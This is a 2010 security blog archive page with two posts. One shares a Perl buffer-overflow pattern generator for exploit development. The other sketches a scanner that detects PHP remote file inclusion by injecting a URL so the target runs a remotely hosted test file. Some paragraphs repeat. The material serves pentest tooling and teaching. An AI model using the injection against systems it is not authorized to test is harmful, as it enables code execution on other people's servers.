Eldar Marcussen: October 2010 Archives
I can't help fee like an arrogant bastard writing this post. It is not my intention to discredit the work of others. I have tremendous respect for the skill of people who do reverse engineering and exploit development.
I have been working on (learning) exploit writing lately and although I had heard about it before I hadn't actually used the pattern generator approach. Being a perl man I decided I wanted to grab a perl based generator so I could modify it to suit my own needs. A quick google later I found Wasim Halani's perl implementation at http://securitythoughts.wordpress.com/2010/03/18/tool-unique-pattern-generator-for-exploit-development/. After a quick play with that I decided that I should just write my own.
My first run produced a similar looking string, but my 1024th character was off by one. I decided to compare the two strings and founbd the difference at byte 781. Washal's implementation appends the uppercase character before incrementing the uppercase character, ie: "7Az8Az9ABa0" instead of "7Az8Az9Ba0". Comparing it to metasploit's tools/pattern_create.rb mine was spot on. I decided to take it all the way to the end for comparison so I generated a 20280 character string from both tools and compared them. This time there was a difference at byte 20278, metasploit produced "Zz8Aa0" as the last six characters compared to my "Zz8Zz9". I consider my behaviour to be correct and reported the bug.
Furthermore, once you go past 20280 characters the pattern starts repeating. My tool relies on the perl string incrementer and that changes the pattern from three to four characters in my tool. I tend to lean to my behaviour as correct, especially when dealing with 8 byte addresses, but I am completely biased. So without any further ado, here is my implementation of the buffer overflow pattern generator.
[bop]
I have been working on (learning) exploit writing lately and although I had heard about it before I hadn't actually used the pattern generator approach. Being a perl man I decided I wanted to grab a perl based generator so I could modify it to suit my own needs. A quick google later I found Wasim Halani's perl implementation at http://securitythoughts.wordpress.com/2010/03/18/tool-unique-pattern-generator-for-exploit-development/. After a quick play with that I decided that I should just write my own.
My first run produced a similar looking string, but my 1024th character was off by one. I decided to compare the two strings and founbd the difference at byte 781. Washal's implementation appends the uppercase character before incrementing the uppercase character, ie: "7Az8Az9ABa0" instead of "7Az8Az9Ba0". Comparing it to metasploit's tools/pattern_create.rb mine was spot on. I decided to take it all the way to the end for comparison so I generated a 20280 character string from both tools and compared them. This time there was a difference at byte 20278, metasploit produced "Zz8Aa0" as the last six characters compared to my "Zz8Zz9". I consider my behaviour to be correct and reported the bug.
Furthermore, once you go past 20280 characters the pattern starts repeating. My tool relies on the perl string incrementer and that changes the pattern from three to four characters in my tool. I tend to lean to my behaviour as correct, especially when dealing with 8 byte addresses, but I am completely biased. So without any further ado, here is my implementation of the buffer overflow pattern generator.
[bop]
#!/usr/bin/perl #!/usr/bin/perl # Buffer Overflow Pattern generator v 1.0 # Written by Wireghoul - http://www.justanotherhacker.com use strict; use warnings; sub generate { my $len=shift; my $pattern='Aa0'; my $out = ''; while (length($out) < $len) { $out.=$pattern; $pattern++; } return substr($out,0,$len); } sub search { my $string = shift; # If we get a hex string, decode and reverse it if ($string =~ /0x/) { $string =~ s/([a-fA-F0-9][a-fA-F0-9])/chr(hex($1))/eg; $string =~ s/0x//; $string = reverse $string; } my $pat = 'Aa0'; my $out = ''; while ($out !~ m/$string/) { $out.=$pat; $pat++; } return index($out, $string); } if (!$ARGV[0]) { print "Buffer overflow pattern generator by Wireghoul\n$0 <size> creates pattern of size characters\n$0 string finds offset of string in pattern\n"; exit 0 ; } if ($ARGV[0] =~ m/^\d+$/) { print generate($ARGV[0])."\n"; } else { print search($ARGV[0])."\n"; }I'll finish with some examples of usage:
~/challenge$ ./vuln `bop 1025` Segmentation fault ~/challenge$ bop 0x42306942 1020 ~/challenge$ bop Bi0B 10201020+length("Bi0B) = 1024 in case that wasn't clear. I hope you'll enjoy the tool.
So had this chat with the boys in the office the other day and mentioned my long standing thoughts on how automated remote file inclusion scans should be done right, and figured I might as well share it with everyone.
Most tools today will just try to fetch a web url, like http://www.google.com and claim that it has found a remote file inclusion. I suppose technically it is still accurate, but I mostly care for code execution, not so much web proxy scripts. To be honest, detecting code execution is pretty trivial. Sure it becomes more annoying as you try to support multiple languages, but for now, lets focus on the worst RFI offender; PHP.
Lets pretend I'm writing a scanner, and this scanner uses the normal crawl and replace querystring values with my RFI url approach. My first port of call is to create a code snippet that I will use for testing code execution with. I've picked the string just another remote file inclusion! as my signature. Now we add some complexity to ensure that we don't accidentally get a false positive on the remote chance that the webpage we're fuzzing happened to contain that string.
Most tools today will just try to fetch a web url, like http://www.google.com and claim that it has found a remote file inclusion. I suppose technically it is still accurate, but I mostly care for code execution, not so much web proxy scripts. To be honest, detecting code execution is pretty trivial. Sure it becomes more annoying as you try to support multiple languages, but for now, lets focus on the worst RFI offender; PHP.
Lets pretend I'm writing a scanner, and this scanner uses the normal crawl and replace querystring values with my RFI url approach. My first port of call is to create a code snippet that I will use for testing code execution with. I've picked the string just another remote file inclusion! as my signature. Now we add some complexity to ensure that we don't accidentally get a false positive on the remote chance that the webpage we're fuzzing happened to contain that string.
~$ echo -n 'just another remote file inclusion!' | md5sum - 8a7f7dc99a12132a94c88b931e92f463 - ~$ echo -n '8a7f7dc99a12132a94c88b931e92f463' | uuencode -m - begin-base64 644 - OGE3ZjdkYzk5YTEyMTMyYTk0Yzg4YjkzMWU5MmY0NjM= ====This gives me both the code exec and non code exec signatures. We stuff the base64 into a php file like so: [RFIproof.txt]
<?php echo(base64_decode('OGE3ZjdkYzk5YTEyMTMyYTk0Yzg4YjkzMWU5MmY0NjM=')); ?>Then I write a simple snippet to check for RFI:
sub check_RFI_exec { my ($url, $querystring, $fuzzparam) = @_; #Function arguments $querystring =~ s!$fuzzparam=[^&]+!$fuzzparam=http://www.justanotherhacker.com/RFIproof.txt!; #Using ! to avoid escaping characters my $content = get("$url?$querystring"); # Fetching url using lwp-simple if ($content =~ m/8a7f7dc99a12132a94c88b931e92f463/) { #md5sum means base64_exec'ed print "RFI code exec at: $url?$querystring\n"; } elsif ($content =~ m/OGE3ZjdkYzk5YTEyMTMyYTk0Yzg4YjkzMWU5MmY0NjM=/) { #base64 string means no exec print "RFI without exec: $url?$querystring\n"; } }I chose perl, but you can write yours in whatever language you choose. Adding some error handling is recommended, but I left it out as it's only a hypothetical code snippet. I'm not actually writing this scanner, but hopefully someone else will.